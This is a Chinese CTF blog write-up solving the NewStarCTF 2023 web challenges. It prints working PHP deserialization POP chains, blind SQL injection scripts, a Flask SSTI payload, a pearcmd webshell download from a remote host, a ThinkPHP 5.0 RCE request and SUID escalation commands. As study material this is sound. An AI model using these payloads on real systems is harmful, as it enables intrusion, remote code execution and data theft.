NewStarCTF-2023

week1-web

泄漏的秘密

robots.txt+www.zip 得到flag。

Begin of Upload

1
蚁剑连接之后找到flag。
5

Begin of HTTP

先GET传入ctf=1,在传入secret=1,发现需要传入特定值
1
查看源码找到secret的值n3wst4rCTF2023g00000d
5
更改cookie中的power的值,改为ctfer
更改UA头为NewStarCTF2023
添加Referer为newstarctf.com
添加X-Real-Ip为127.0.0.1
拿到flag
123

ErrorFlask

让其报错即可拿到flag。
456

Begin of PHP

简单审计一下代码

<?php
error_reporting(0);
highlight_file(__FILE__);

if(isset($_GET['key1']) && isset($_GET['key2'])){
    echo "=Level 1=<br>";
    if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
        $flag1 = True;
    }else{
        die("nope,this is level 1");
    }
}
//数组绕过

if($flag1){
    echo "=Level 2=<br>";
    if(isset($_POST['key3'])){
        if(md5($_POST['key3']) === sha1($_POST['key3'])){
            $flag2 = True;
        }
    }else{
        die("nope,this is level 2");
    }
}
//数组绕过

if($flag2){
    echo "=Level 3=<br>";
    if(isset($_GET['key4'])){
        if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
            $flag3 = True;
        }else{
            die("nope,this is level 3");
        }
    }
}
//数组绕过
//因为strcmp()无法比较数组,则报错并返回0,0==0成立。
if($flag3){
    echo "=Level 4=<br>";
    if(isset($_GET['key5'])){
        if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
            $flag4 = True;
        }else{
            die("nope,this is level 4");
        }
    }
}
//绕过!is_numeric
//后缀%00
if($flag4){
    echo "=Level 5=<br>";
    extract($_POST);//采用变量覆盖 -> flag5='.'
    foreach($_POST as $var){
        if(preg_match("/[a-zA-Z0-9]/",$var)){
            die("nope,this is level 5");
        }
    }
    if($flag5){
        echo file_get_contents("/flag");
    }else{
        die("nope,this is level 5");
    }
}

R!C!E!

<?php
highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
    $password=md5($_POST['password']);
    $code=$_POST['e_v.a.l'];
    if(substr($password,0,6)==="c4d038"){ //爆破出来是114514
        if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
            eval($code);
        }
    }
}

最后就是

**password=114514&e[v.a.l=echo more /fl??;**
1

EasyLogin

打开就是一个登录框
尝试admin弱密码000000成功登录通过查看burp的记录发现302跳转,存在flag。
2

week2-web

挑一些重要的写吧。。。

Unserialize?

<?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {
    private $cmd;//这里的cmd是私有属性

    public function __destruct()
    {
        if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
            @system($this->cmd);
        }
    }
}

@unserialize($_POST['unser']);
?>

private反序列化后是%00(类名)%00(变量名),protect是%00*%00(变量名)

exp

<?php
class evil
{
    public $cmd;
}
$a=new evil();
$a->cmd="nl /th1s_1s_fffflllll4444aaaggggg";
echo serialize($a);

Upload again!

文件上传、.htaccess文件
先上传.htaccess文件
123

在上传图片马
123
即可成功命令执行

R!!C!!E!!

.git源码泄露
456
查看bo0g1pop.php文件

<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
    if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
        eval($_GET['star']);
    }
}

if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star']))无参数rce

GET:
star=eval(next(getallheaders()));
123

week3-web

Include

知识点:下载木马文件到靶机、register_argc_argv

<?php
    error_reporting(0);
    if(isset($_GET['file'])) {
        $file = $_GET['file'];
        
        if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
            die('hacker!');
        }
        
        include($file.".php");
        # Something in phpinfo.php!
    }
    else {
        highlight_file(__FILE__);
    }
?>

先包含phpinfo.php文件看看
搜索flag发现提示register_argc_argv
456
找找有没有相关漏洞,恰好找到了一篇文章:registerargcargv与include to RCE的巧妙组合

//通过本地直接写入webshell,注意这里最好抓包然后用burpsuite或者直接curl执行,否则浏览器会将< ? > 转义
// config-create可以直接创建配置文件,且第一个参数必须以/开头
http://ip:port/include.php?f=pearcmd&+config-create+/<?=phpinfo();?>+/tmp/evil.php
// 通过远程直接下载webshell
// web目录可写

  • http://ip:port/include.php?f=pearcmd&+install+-R+/var/www/html+http://ip:port/evil.php
  • http://ip:port/tmp/pear/download/evil.php
    // tmp目录可写
  • http://ip:port/include.php?f=pearcmd&+install+-R+/tmp+http://ip:port/evil.php
  • http://ip:port/include.php?f=/tmp/pear/download/evil

789
789
然后访问/tmp/pear/download/1.php发现成功传入
456

medium_sql

知识点:sql盲注
1
尝试注入:
单引号不回显
1TMP3074'Or 1=1 -- -
成功回显
burp测试过滤的函数或字符,发现如下的被过滤了
1
使用order by发现存在5个表,但是后面再使用union是发现没有union,换一种方法
使用盲注判断当前数据库名的字符数
?id=1TMP3074' Or length(database()) > 2--+回显
?id=1TMP3074' Or length(database()) > 3--+不回显,说明当前数据库名的字符数为三。
然后判断数据库名到底是什么
?id=1TMP3074'Or mid(database(),1,1)= 'b' --这样太慢了,使用脚本
最后的exp:

import requests
import time

url = "http://13d36774-d283-422c-98f2-9164d199a034.node4.buuoj.cn:81/?id=TMP0919'AND "

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        payload = f'Ascii(Substr((Select flag from here_is_flag),{i},1))>{mid}--+'
        r = requests.get(url + payload)
        if "points" in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)
    time.sleep(1)  # 暂停1秒,降低爬取速度

1

POP Gadget

考点:php反序列化串链子。

<?php
highlight_file(__FILE__);

class Begin{
    public $name;

    public function __destruct()
    {
        if(preg_match("/[a-zA-Z0-9]/",$this->name)){
            echo "Hello";
        }else{
            echo "Welcome to NewStarCTF 2023!";
        }
    }
}

class Then{
    private $func;

    public function __toString()
    {
        ($this->func)();
        return "Good Job!";
    }

}

class Handle{
    protected $obj;

    public function __call($func, $vars)
    {
        $this->obj->end();
    }

}

class Super{
    protected $obj;
    public function __invoke()
    {
        $this->obj->getStr();
    }

    public function end()
    {
        die("==GAME OVER==");
    }
}

class CTF{
    public $handle;

    public function end()
    {
        unset($this->handle->log);
    }

}

class WhiteGod{
    public $func;
    public $var;

    public function __unset($var)
    {
        ($this->func)($this->var);    
    }
}

@unserialize($_POST['pop']);

大致审一下代码可以发现出口为WhiteGod


class WhiteGod{
    public $func;//赋值为system
    public $var;//赋值为ls
 				
    public function __unset($var)
    {
        ($this->func)($this->var); //两者结合可以进行命令执行   
    }
}

那么入口就是Begin


class Begin{
    public $name;
 
    public function __destruct()
    {
        if(preg_match("/[a-zA-Z0-9]/",$this->name)){
            echo "Hello";
        }else{
            echo "Welcome to NewStarCTF 2023!";
        }
    }
}

大致链子:

Begin::__destruct->Then::__toString->Super::__invoke->Handle::__call->CTF::end->WhiteGod::__unset

exp:

<?php
highlight_file(__FILE__);

class Begin{
    public $name;
    public function __construct()
    {
        $this->name=new Then();//触发Then类中的__toString()方法
    }

    public function __destruct()
    {
    }
}

class Then{
    private $func;
    public  function __construct()
    {

        $this->func=new Super();//触发Super类的__invoke()方法
    }
/*
    public function __toString()
    {
        ($this->func)();
        return "Good Job!";
	}
*/

}

class Handle{
    protected $obj;
    public function __construct()
    {
        $this->obj=new CTF();//触发CTF类的end()方法

    }

    public function __call($func, $vars)
    {
        $this->obj->end();
    }

}

class Super{
    protected $obj;
    public function __construct()
    {
        $this->obj=new Handle();//触发Handle类的__call方法
    }

    public function __invoke()
    {
        $this->obj->getStr();
    }

    public function end()
    {
        die("==GAME OVER==");
    }
}

class CTF{
    public $handle;
    public function __construct()
    {
        $this->handle=new WhiteGod();//触发WhiteGod类的__unset()方法

    }

    public function end()
    {
        unset($this->handle->log);
    }

}

class WhiteGod{
    public $func='system';
    public $var='cat /flag';
    
/*
    public function __unset($var)
    {
        ($this->func)($this->var);    
    }

*/

}
$a=new Begin();
echo urlencode(serialize($a));

456

R!!!C!!!E!!!!

存在非预期

<?php
highlight_file(__FILE__);
class minipop{
    public $code;
    public $qwejaskdjnlka;
    public function __toString()
    {
        if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
            exec($this->code);
        }
        return "alright";
    }
    public function __destruct()
    {
        echo $this->qwejaskdjnlka;
    }
}
if(isset($_POST['payload'])){
    //wanna try?
    unserialize($_POST['payload']);
}

exp:

<?php
highlight_file(__FILE__);
class minipop{
    public $code;
    public $qwejaskdjnlka;

}
$a=new minipop();
$a->code="cat /flag_is_h3eeere | te''e /var/www/html/1";
$a->qwejaskdjnlka=$a;
echo serialize($a);

然后访问/1文件得到flag。

week4-web

知识点:字符串逃逸

<?php
highlight_file(__FILE__);
function waf($str){
    return str_replace("bad","good",$str);
}

class GetFlag {
    public $key;
    public $cmd = "whoami";
    public function __construct($key)
    {
        $this->key = $key;
    }
    public function __destruct()
    {
        system($this->cmd);
    }
}

unserialize(waf(serialize(new GetFlag($_GET['key']))));

当给key随便赋一个值时

<?php
function waf($str){
    return str_replace("bad","good",$str);
}

class GetFlag {
    public $key;
    public $cmd = "whoami";
    public function __construct($key)
    {
        $this->key = '456789789';
    }
    public function __destruct()
    {
        system($this->cmd);
    }
}
$a=new GetFlag(key);
echo serialize($a);
//运行结果:O:7:"GetFlag":2:{s:3:"key";s:9:"456789789";s:3:"cmd";s:6:"whoami";}n0rt6\86159

如果后面的whoami能够让我们控制来进行命令执行,那目的就达到了。
";s:3:"cmd";s:6:"whoami";}总共26个字符,";s:3:"cmd";s:9:"cat /flag";}总共29个字符。
waf函数功能可以将bad换为good,也就增加了一个字符。
那么使用29个字符就是用29个bad,正好把";s:3:"cmd";s:9:"cat /flag";}顶出去了,从而达到执行命令的效果
exp:

<?php
function waf($str){
    return str_replace("bad","good",$str);
}

class GetFlag {
    public $key;
    public $cmd = "whoami";
    public function __construct($key)
    {
        $this->key = 'badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}';
    }
    public function __destruct()
    {
        system($this->cmd);
    }
}
$a=new GetFlag(key);
echo serialize($a);

123

More Fast

知识点:反序列化、GC回收

<?php
highlight_file(__FILE__);

class Start{
    public $errMsg;
    public function __destruct() {
        die($this->errMsg);
    }
}

class Pwn{
    public $obj;
    public function __invoke(){
        $this->obj->evil();
    }
    public function evil() {
        phpinfo();
    }
}

class Reverse{
    public $func;
    public function __get($var) {
        ($this->func)();
    }
}

class Web{
    public $func;
    public $var;
    public function evil() {
        if(!preg_match("/flag/i",$this->var)){
            ($this->func)($this->var);
        }else{
            echo "Not Flag";
        }
    }
}

class Crypto{
    public $obj;
    public function __toString() {
        $wel = $this->obj->good;
        return "NewStar";
    }
}

class Misc{
    public function evil() {
        echo "good job but nothing";
    }
}

$a = @unserialize($_POST['fast']);
throw new Exception("Nope");

找入口:__destruct()
找出口:evil()
链子:

Start->Crypto->Reverse->Pwn->Web

要绕过throw new Exception("Nope");,这里throw就是GC回收。
在php中,当对象被销毁时会自动调用__destruct()方法,但如果程序报错或者抛出异常,就不会触发该魔术方法。
当一个类创建之后它会自己消失,而 __destruct() 魔术方法的触发条件就是一个类被销毁时触发,而throw那个函数就是回收了自动销毁的类,导致destruct检测不到有东西销毁,从而也就导致无法触发destruct函数。
exp

<?php

class Start{
    public $errMsg;
}
class Pwn{
    public $obj;
}
class Reverse{
    public $func;
}
class Web{
    public $func="system";
    public $var="ls";
}
class Crypto{
    public $obj;
}
class Misc{
    public function evil() {
        echo "good job but nothing";
    }
}
$s=new Start();
$p=new Pwn();
$r=new Reverse();
$w=new Web();
$c=new Crypto();
$s->errMsg=$c;
$c->obj=$r;
$r->func=$p;
$p->obj=$w;
echo serialize(array($s,$s));

得到结果
a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:2:"ls";}}}}}i:1;r:2;}
这里将i:0改为i:1即可绕过throw成功触发__destruct()
a:2:{i:1;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:2:"ls";}}}}}i:1;r:2;}

456

InjectMe

知识点:SSTI
123
url为:http://007b1ed3-c9a0-400b-bc74-007f54a2966c.node4.buuoj.cn:81/download?file=1.jpg
可以试试任意文件下载,发现成功了。
由于docker里用的是flask,可以尝试看看源码位置,最后发现在/app/app.py

import os
import re

from flask import Flask, render_template, request, abort, send_file, session, render_template_string
from config import secret_key

app = Flask(__name__)
app.secret_key = secret_key


@app.route('/')
def hello_world():  # put application's code here
    return render_template('index.html')


@app.route("/cancanneed", methods=["GET"])
def cancanneed():
    all_filename = os.listdir('./static/img/')
    filename = request.args.get('file', '')
    if filename:
        return render_template('img.html', filename=filename, all_filename=all_filename)
    else:
        return f"{str(os.listdir('./static/img/'))} <br> <a href=\"/cancanneed?file=1.jpg\">/cancanneed?file=1.jpg</a>"


@app.route("/download", methods=["GET"])
def download():
    filename = request.args.get('file', '')
    if filename:
        filename = filename.replace('../', '')
        filename = os.path.join('static/img/', filename)
        print(filename)
        if (os.path.exists(filename)) and ("start" not in filename):
            return send_file(filename)
        else:
            abort(500)
    else:
        abort(404)


@app.route('/backdoor', methods=["GET"])
def backdoor():
    try:
        print(session.get("user"))
        if session.get("user") is None:
            session['user'] = "guest"
        name = session.get("user")
        if re.findall(
                r'__|{{|class|base|init|mro|subclasses|builtins|globals|flag|os|system|popen|eval|:|\+|request|cat|tac|base64|nl|hex|\\u|\\x|\.',
                name):
            abort(500)
        else:
            return render_template_string(
                '竟然给<h1>%s</h1>你找到了我的后门,你一定是网络安全大赛冠军吧!😝 <br> 那么 现在轮到你了!<br> 最后祝您玩得愉快!😁' % name)
    except Exception:
        abort(500)


@app.errorhandler(404)
def page_not_find(e):
    return render_template('404.html'), 404


@app.errorhandler(500)
def internal_server_error(e):
    return render_template('500.html'), 500


if __name__ == '__main__':
    app.run('0.0.0.0', port=8080)

其中看到这一点:

from config import secret_key

app = Flask(__name__)
app.secret_key = secret_key

说明还存在一个key,这个时候想到了可能是session伪造,但是后面才知道自己错了。
开始寻找key:尝试读取config.py文件,还真发现key了。
访问/backdoor
789
结合源码这里guest是注入点。
最后的exp:

python flask_session_cookie_manager3.py encode -s "y0u_n3ver_k0nw_s3cret_key_1s_newst4r" -t "{'user':\"{% print(()['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[280]('paste /y0U3_f14g_1s_h3re',shell=True,stdout=-1)['communic''ate']()[0]['strip']())%}\"}"

midsql

456
exp:

#Author: f0njl//这个是大佬!!!
import requests
import datetime

url = "http://5e08a16e-94a2-4d92-8e7a-85d3c1cf93b0.node4.buuoj.cn:81/?id="
flag = ""
str = "0123456789asdfghjklzxcvbnmqwertyuiop}{-_."
for i in range(33,150):
    for j in str:
        #payload = "1/**/and/**/if(substr(database(),{},1)/**/like/**/'{}',sleep(2),1)--".format(i,j)
        #payload = "1/**/and/**/if(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()),{},1)/**/like/**/'{}',sleep(3),1)--".format(i,j)
        payload = "1/**/and/**/if(substr((select/**/group_concat(id,name,price)/**/from/**/items),{},1)/**/like/**/'{}',sleep(5),1)--".format(i,j)
        time1 = datetime.datetime.now()
        r = requests.get(url + payload)
        time2 = datetime.datetime.now()
        sec = (time2 - time1).seconds
        if sec > 4:
            flag += j
            print(flag)
            break

flask disk

这个看了wp,我是真的没有想到:cry:

整体思路就是再上传一个app.py文件将原来的覆盖掉,而且自己上传的app.py文件可以进行命令执行

上传的app.py文件

#编写一个能够执行系统命令的app.py文件

import os
from flask import request,Flask
app = Flask(__name__)
@app.route('/')
def index():
    try:
        cmd = request.args.get('cmd')
        data=os.popen(cmd).read()
        return data
    except:
        pass
    return "1"
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=8080,debug=True)

在访问主页面发现页面显示1
1

然后命令执行找到flag文件即可
4

week5-web

Final

thinkphp版本V5.0,查找相关漏洞
可以使用thinkphp漏洞检测工具检测
123
当然也可以自己找payload。
Payload: http://a3b86432-64d4-4f0b-baf9-2ff5ed65a5aa.node4.buuoj.cn:81/?s=captcha&test=-1 Post: _method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1
发现禁用了函数
78
使用exec、passthru代替,然后写入一句话木马。
456
成功写入
123
但是还要进行提权
789
查看具有SUID权限的命令:

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

后面借助GTFOBins进行提权吧!!!

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

请我喝杯咖啡吧~

支付宝
微信